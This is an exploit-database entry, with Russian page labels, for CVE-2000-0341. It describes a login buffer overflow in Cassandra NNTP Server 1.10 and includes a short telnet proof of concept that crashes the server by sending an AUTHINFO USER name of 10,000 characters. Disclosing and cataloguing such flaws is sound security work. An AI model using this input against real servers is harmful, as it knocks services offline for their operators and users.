Exploit Atrium Software Cassandra NNTP Server 1.10 - Buffer Overflow

[Exploiter]

EDB-ID

19884

Проверка EDB

1. Пройдено

Автор

USSR LABS

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2000-0341

Дата публикации

2000-05-01

Atrium Software Cassandra NNTP Server 1.10 - Buffer Overflow

source: https://www.securityfocus.com/bid/1156/info

Unchecked buffer exists in the code that handles login information in Cassandra NNTP v1.10 server. Entering a login name that consists of over 10 000 characters will cause the server to stop responding until the administrator restarts the application.

[host$ telnet target 119
Trying target...
Connected to target.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1
May 2000 xx:xx:xx +-300 (posting allowed) 

AUTHINFO USER <10 000 character string>


Where buffer is 10000 characters.